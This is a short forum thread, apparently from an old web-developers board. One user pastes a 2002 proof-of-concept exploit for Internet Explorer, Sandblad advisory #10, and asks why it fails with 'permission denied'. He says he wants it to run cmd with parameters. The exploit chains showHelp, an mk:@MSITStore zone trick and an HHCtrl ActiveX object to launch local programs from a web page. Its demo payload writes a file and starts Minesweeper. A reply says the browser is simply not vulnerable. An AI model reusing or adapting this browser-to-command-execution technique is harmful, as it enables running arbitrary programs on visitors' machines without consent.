f("javascript:location.replace('mk:@MSITStore:C:')");

[Caliban]

Hi y'all JS gurues

i'm having trouble with this sentence

f("javascript:location.replace('mk:@MSITStore:C:')");

error msg: PERMISSION DENIED

i copied + pasted the following piece of code, in order to be able to execute the "cmd" command with parameters

=======================================
<script>

// "How to execute programs with parameters in IE", 2002-11-06
//Sandblad advisory #10, Andreas Sandblad, sandblad acc umu se
//Andreas Sandblad is not responsible for the misuse of the
//information provided in this advisory. The opinions
//expressed are my own and not of any company. In no
//event shall the author be liable for any damages
//whatsoever arising out of or in
//connection with the use or spread of this advisory. Any use
//of the information is at the user's own risk.

prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
'echo Sandblad #10 > c:/vulnerable.txt & winmine';

if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
"-00aa003b7a11><param name=Command value=Close></object>')");
f("javascript:c1.Click();c2.Click();");
close();
}
</script>
======================

Any explanation? thanx.

[ray326]

Looks like it's telling you you're not vulnerable to that IE hack.